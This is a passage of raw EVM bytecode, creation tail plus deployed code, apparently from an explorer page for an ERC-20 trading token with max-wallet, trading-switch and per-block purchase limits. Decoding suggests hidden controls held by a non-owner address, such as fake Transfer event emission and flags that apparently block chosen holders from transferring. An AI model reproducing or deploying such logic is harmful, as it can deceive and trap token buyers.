6f20636c65617200000000000000000000600082015250565b6000613594601683612d62565b915061359f8261355e565b602082019050919050565b600060208201905081810360008301526135c381613587565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613626603983612d62565b9150613631826135ca565b604082019050919050565b6000602082019050818103600083015261365581613619565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006136b8602583612d62565b91506136c38261365c565b604082019050919050565b600060208201905081810360008301526136e7816136ab565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561374557808604811115613721576137206134b3565b5b60018516156137305780820291505b808102905061373e856136ee565b9450613705565b94509492505050565b60008261375e576001905061381a565b8161376c576000905061381a565b8160018114613782576002811461378c576137bb565b600191505061381a565b60ff84111561379e5761379d6134b3565b5b8360020a9150848211156137b5576137b46134b3565b5b5061381a565b5060208310610133831016604e8410600b84101617156137f05782820a9050838111156137eb576137ea6134b3565b5b61381a565b6137fd84848460016136fb565b92509050818404811115613814576138136134b3565b5b81810290505b9392505050565b600061382c82612ede565b91506138378361325c565b92506138647fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461374e565b905092915050565b600061387782612ede565b915061388283612ede565b925082820261389081612ede565b915082820484148315176138a7576138a66134b3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138e882612ede565b91506138f383612ede565b925082613903576139026138ae565b5b828204905092915050565b60008151905061391d81612ee8565b92915050565b60006020828403121561393957613938612e13565b5b60006139478482850161390e565b91505092915050565b7f43616e2774207769746864726177203000000000000000000000000000000000600082015250565b6000613986601083612d62565b915061399182613950565b602082019050919050565b600060208201905081810360008301526139b581613979565b9050919050565b60006040820190506139d160008301856132c0565b6139de6020830184613124565b9392505050565b6000815190506139f48161309c565b92915050565b600060208284031215613a1057613a0f612e13565b5b6000613a1e848285016139e5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613a83602683612d62565b9150613a8e82613a27565b604082019050919050565b60006020820190508181036000830152613ab281613a76565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b15602483612d62565b9150613b2082613ab9565b604082019050919050565b60006020820190508181036000830152613b4481613b08565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ba7602283612d62565b9150613bb282613b4b565b604082019050919050565b60006020820190508181036000830152613bd681613b9a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613c13601d83612d62565b9150613c1e82613bdd565b602082019050919050565b60006020820190508181036000830152613c4281613c06565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ca5602583612d62565b9150613cb082613c49565b604082019050919050565b60006020820190508181036000830152613cd481613c98565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d37602383612d62565b9150613d4282613cdb565b604082019050919050565b60006020820190508181036000830152613d6681613d2a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613da3601683612d62565b9150613dae82613d6d565b602082019050919050565b60006020820190508181036000830152613dd281613d96565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613e35603583612d62565b9150613e4082613dd9565b604082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613ea1601383612d62565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613f33603683612d62565b9150613f3e82613ed7565b604082019050919050565b60006020820190508181036000830152613f6281613f26565b9050919050565b6000613f7482612ede565b9150613f7f83612ede565b9250828203905081811115613f9757613f966134b3565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ff9602183612d62565b915061400482613f9d565b604082019050919050565b6000602082019050818103600083015261402881613fec565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061408b602283612d62565b91506140968261402f565b604082019050919050565b600060208201905081810360008301526140ba8161407e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006140f7602083612d62565b9150614102826140c1565b602082019050919050565b60006020820190508181036000830152614126816140ea565b9050919050565b60008151905061413c81612e4f565b92915050565b60006020828403121561415857614157612e13565b5b60006141668482850161412d565b91505092915050565b6000819050919050565b600061419461418f61418a8461416f565b6132ea565b612ede565b9050919050565b6141a481614179565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6141df81612e3d565b82525050565b60006141f183836141d6565b60208301905092915050565b6000602082019050919050565b6000614215826141aa565b61421f81856141b5565b935061422a836141c6565b8060005b8381101561425b57815161424288826141e5565b975061424d836141fd565b92505060018101905061422e565b5085935050505092915050565b600060a08201905061427d6000830188613124565b61428a602083018761419b565b818103604083015261429c818661420a565b90506142ab60608301856132c0565b6142b86080830184613124565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061431e602683612d62565b9150614329826142c2565b604082019050919050565b6000602082019050818103600083015261434d81614311565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b60006143b0602483612d62565b91506143bb82614354565b604082019050919050565b600060208201905081810360008301526143df816143a3565b905091905056fea26469706673582212203aa44c2a34cad6d1e58cce3bab8ad284fcd6a4cb972cc5231414b3cbaa71205164736f6c634300081200330000000000000000000000001cb0cd611ac8278042f6385f8136ff445988f85b0000000000000000000000000000000000000000000000000000000000000002

Deployed Bytecode

0x6080604052600436106102295760003560e01c8063715018a611610123578063c2b7bbb6116100ab578063e083e9221161006f578063e083e92214610800578063e2f4560514610829578063f2fde38b14610854578063f8b45b051461087d578063ffb54a99146108a857610230565b8063c2b7bbb61461072f578063c4590d3f14610758578063c8c8ebe414610781578063c9567bf9146107ac578063dd62ed3e146107c357610230565b80639a7a23d6116100f25780639a7a23d61461063a578063a457c2d714610663578063a9059cbb146106a0578063afa4f3b2146106dd578063b70143c91461070657610230565b8063715018a6146105a45780637571336a146105bb5780638da5cb5b146105e457806395d89b411461060f57610230565b8063313ce567116101b15780634d54557f116101755780634d54557f146104d1578063583e0568146104e85780635d098b38146105135780636ddd17131461053c57806370a082311461056757610230565b8063313ce567146103ea578063395093511461041557806342966c6814610452578063470624021461047b57806349bd5a5e146104a657610230565b806318160ddd116101f857806318160ddd1461030357806323b872dd1461032e57806326ededb81461036b5780632b14ca5614610394578063311028af146103bf57610230565b806306fdde031461023557806307934c8614610260578063095ea7b31461029d5780631111f43f146102da57610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108d3565b6040516102579190612de7565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612e7b565b610965565b6040516102949190612ec3565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190612f14565b6109bb565b6040516102d19190612ec3565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc91906130c8565b6109de565b005b34801561030f57600080fd5b50610318610b3c565b6040516103259190613133565b60405180910390f35b34801561033a57600080fd5b506103556004803603810190610350919061314e565b610b46565b6040516103629190612ec3565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d91906131fc565b610b75565b005b3480156103a057600080fd5b506103a9610cab565b6040516103b69190613133565b60405180910390f35b3480156103cb57600080fd5b506103d4610cb1565b6040516103e19190613133565b60405180910390f35b3480156103f657600080fd5b506103ff610cb7565b60405161040c9190613278565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190612f14565b610cc0565b6040516104499190612ec3565b60405180910390f35b34801561045e57600080fd5b5061047960048036038101906104749190613293565b610cf7565b005b34801561048757600080fd5b50610490610d0b565b60405161049d9190613133565b60405180910390f35b3480156104b257600080fd5b506104bb610d11565b6040516104c891906132cf565b60405180910390f35b3480156104dd57600080fd5b506104e6610d37565b005b3480156104f457600080fd5b506104fd610e24565b60405161050a9190613349565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190612e7b565b610e48565b005b34801561054857600080fd5b50610551610eed565b60405161055e9190612ec3565b60405180910390f35b34801561057357600080fd5b5061058e60048036038101906105899190612e7b565b610f00565b60405161059b9190613133565b60405180910390f35b3480156105b057600080fd5b506105b9610f48565b005b3480156105c757600080fd5b506105e260048036038101906105dd9190613364565b610f5c565b005b3480156105f057600080fd5b506105f9610fbf565b60405161060691906132cf565b60405180910390f35b34801561061b57600080fd5b50610624610fe9565b6040516106319190612de7565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190613364565b61107b565b005b34801561066f57600080fd5b5061068a60048036038101906106859190612f14565b611121565b6040516106979190612ec3565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612f14565b611198565b6040516106d49190612ec3565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff9190613293565b6111bb565b005b34801561071257600080fd5b5061072d60048036038101906107289190613293565b611244565b005b34801561073b57600080fd5b5061075660048036038101906107519190612e7b565b6112dc565b005b34801561076457600080fd5b5061077f600480360381019061077a91906133a4565b611382565b005b34801561078d57600080fd5b506107966113d8565b6040516107a39190613133565b60405180910390f35b3480156107b857600080fd5b506107c16113de565b005b3480156107cf57600080fd5b506107ea60048036038101906107e591906133e4565b61141e565b6040516107f79190613133565b60405180910390f35b34801561080c57600080fd5b5061082760048036038101906108229190612e7b565b6114a5565b005b34801561083557600080fd5b5061083e6116bd565b60405161084b9190613133565b60405180910390f35b34801561086057600080fd5b5061087b60048036038101906108769190612e7b565b6116c3565b005b34801561088957600080fd5b50610892611746565b60405161089f9190613133565b60405180910390f35b3480156108b457600080fd5b506108bd61174c565b6040516108ca9190612ec3565b60405180910390f35b6060600380546108e290613453565b80601f016020809104026020016040519081016040528092919081815260200182805461090e90613453565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806109c661175f565b90506109d3818585611767565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a1f61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610a3f57600080fd5b60005b8251811015610b37578160146000858481518110610a6357610a62613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610acf57610ace613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df783604051610b1c9190612ec3565b60405180910390a28080610b2f906134e2565b915050610a42565b505050565b6000600254905090565b600080610b5161175f565b9050610b5e858285611930565b610b698585856119bc565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb661175f565b73ffffffffffffffffffffffffffffffffffffffff1614610bd657600080fd5b60005b83839050811015610ca557838382818110610bf757610bf6613484565b5b9050602002016020810190610c0c9190612e7b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8a9190613133565b60405180910390a38080610c9d906134e2565b915050610bd9565b50505050565b600f5481565b600a5481565b60006009905090565b600080610ccb61175f565b9050610cec818585610cdd858961141e565b610ce7919061352a565b611767565b600191505092915050565b610d08610d0261175f565b826123c6565b50565b60105481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906135aa565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e21573d6000803e3d6000fd5b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8961175f565b73ffffffffffffffffffffffffffffffffffffffff1614610ea957600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f50612593565b610f5a6000612611565b565b610f64612593565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610ff890613453565b80601f016020809104026020016040519081016040528092919081815260200182805461102490613453565b80156110715780601f1061104657610100808354040283529160200191611071565b820191906000526020600020905b81548152906001019060200180831161105457829003601f168201915b5050505050905090565b611083612593565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a9061363c565b60405180910390fd5b61111d82826126d7565b5050565b60008061112c61175f565b9050600061113a828661141e565b90508381101561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611176906136ce565b60405180910390fd5b61118c8286868403611767565b60019250505092915050565b6000806111a361175f565b90506111b08185856119bc565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fc61175f565b73ffffffffffffffffffffffffffffffffffffffff161461121c57600080fd5b611224610cb7565b600a6112309190613821565b8161123b919061386c565b600b8190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661128561175f565b73ffffffffffffffffffffffffffffffffffffffff16146112a557600080fd5b60006112b030610f00565b90506000606483836112c2919061386c565b6112cc91906138dd565b90506112d781612778565b505050565b6112e4612593565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611352600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610f5c565b61137f600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016126d7565b50565b61138a612593565b611392610cb7565b600a61139e9190613821565b826113a9919061386c565b600d819055506113b7610cb7565b600a6113c39190613821565b816113ce919061386c565b600c819055505050565b600d5481565b6113e6612593565b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114e661175f565b73ffffffffffffffffffffffffffffffffffffffff161461150657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154191906132cf565b602060405180830381865afa15801561155e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115829190613923565b116115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b99061399c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161161891906132cf565b602060405180830381865afa158015611635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116599190613923565b6040518363ffffffff1660e01b81526004016116769291906139bc565b6020604051808303816000875af1158015611695573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b991906139fa565b5050565b600b5481565b6116cb612593565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361173a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173190613a99565b60405180910390fd5b61174381612611565b50565b600c5481565b600e60019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613b2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183c90613bbd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119239190613133565b60405180910390a3505050565b600061193c848461141e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119b657818110156119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f90613c29565b60405180910390fd5b6119b58484848403611767565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2290613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9190613d4d565b60405180910390fd5b60008103611ab357611aae838360006129d7565b6123c1565b611abb610fbf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b295750611af9610fbf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b625750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb55750600860149054906101000a900460ff16155b15611fdc57600e60019054906101000a900460ff16611caf57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6f5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca590613db9565b60405180910390fd5b5b43601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d965750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e3d57600d54811115611de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd790613e4b565b60405180910390fd5b600c54611dec83610f00565b82611df7919061352a565b1115611e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2f90613eb7565b60405180910390fd5b611fdb565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee05750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57600d54811115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2190613f49565b60405180910390fd5b611fda565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611fd957600c54611f8c83610f00565b82611f97919061352a565b1115611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf90613eb7565b60405180910390fd5b5b5b5b5b6000611fe730610f00565b90506000600b548211905080801561200b5750600e60009054906101000a900460ff165b80156120245750600860149054906101000a900460ff16155b801561207a5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d05750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121265750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561216a576001600860146101000a81548160ff02191690831515021790555061214e612c4d565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff161580156121d25750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122285750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561235557601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122b3576122ac606461229e600f5488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b9050612331565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123305761232d606461231f60105488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b90505b5b6000811115612346576123458730836129d7565b5b80856123529190613f69565b94505b601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b1576123b087612cb7565b5b6123bc8787876129d7565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242c9061400f565b60405180910390fd5b61244182600083612d41565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be906140a1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161257a9190613133565b60405180910390a361258e83600084612d46565b505050565b61259b61175f565b73ffffffffffffffffffffffffffffffffffffffff166125b9610fbf565b73ffffffffffffffffffffffffffffffffffffffff161461260f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126069061410d565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff81111561279557612794612f59565b5b6040519080825280602002602001820160405280156127c35781602001602082028036833780820191505090505b50905030816000815181106127db576127da613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128a49190614142565b816001815181106128b8576128b7613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061291d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611767565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129a1959493929190614268565b600060405180830381600087803b1580156129bb57600080fd5b505af11580156129cf573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3d90613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aac90613d4d565b60405180910390fd5b612ac0838383612d41565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3d90614334565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c349190613133565b60405180910390a3612c47848484612d46565b50505050565b6000612c5830610f00565b905060008103612c685750612c89565b6000819050600b54811115612c7d57600b5490505b612c8681612778565b50505b565b60008183612c99919061386c565b905092915050565b60008183612caf91906138dd565b905092915050565b612cff601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d4b565b612d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d35906143c6565b60405180910390fd5b50565b505050565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d91578082015181840152602081019050612d76565b60008484015250505050565b6000601f19601f8301169050919050565b6000612db982612d57565b612dc38185612d62565b9350612dd3818560208601612d73565b612ddc81612d9d565b840191505092915050565b60006020820190508181036000830152612e018184612dae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e4882612e1d565b9050919050565b612e5881612e3d565b8114612e6357600080fd5b50565b600081359050612e7581612e4f565b92915050565b600060208284031215612e9157612e90612e13565b5b6000612e9f84828501612e66565b91505092915050565b60008115159050919050565b612ebd81612ea8565b82525050565b6000602082019050612ed86000830184612eb4565b92915050565b6000819050919050565b612ef181612ede565b8114612efc57600080fd5b50565b600081359050612f0e81612ee8565b92915050565b60008060408385031215612f2b57612f2a612e13565b5b6000612f3985828601612e66565b9250506020612f4a85828601612eff565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f9182612d9d565b810181811067ffffffffffffffff82111715612fb057612faf612f59565b5b80604052505050565b6000612fc3612e09565b9050612fcf8282612f88565b919050565b600067ffffffffffffffff821115612fef57612fee612f59565b5b602082029050602081019050919050565b600080fd5b600061301861301384612fd4565b612fb9565b9050808382526020820190506020840283018581111561303b5761303a613000565b5b835b8181101561306457806130508882612e66565b84526020840193505060208101905061303d565b5050509392505050565b600082601f83011261308357613082612f54565b5b8135613093848260208601613005565b91505092915050565b6130a581612ea8565b81146130b057600080fd5b50565b6000813590506130c28161309c565b92915050565b600080604083850312156130df576130de612e13565b5b600083013567ffffffffffffffff8111156130fd576130fc612e18565b5b6131098582860161306e565b925050602061311a858286016130b3565b9150509250929050565b61312d81612ede565b82525050565b60006020820190506131486000830184613124565b92915050565b60008060006060848603121561316757613166612e13565b5b600061317586828701612e66565b935050602061318686828701612e66565b925050604061319786828701612eff565b9150509250925092565b600080fd5b60008083601f8401126131bc576131bb612f54565b5b8235905067ffffffffffffffff8111156131d9576131d86131a1565b5b6020830191508360208202830111156131f5576131f4613000565b5b9250929050565b60008060006040848603121561321557613214612e13565b5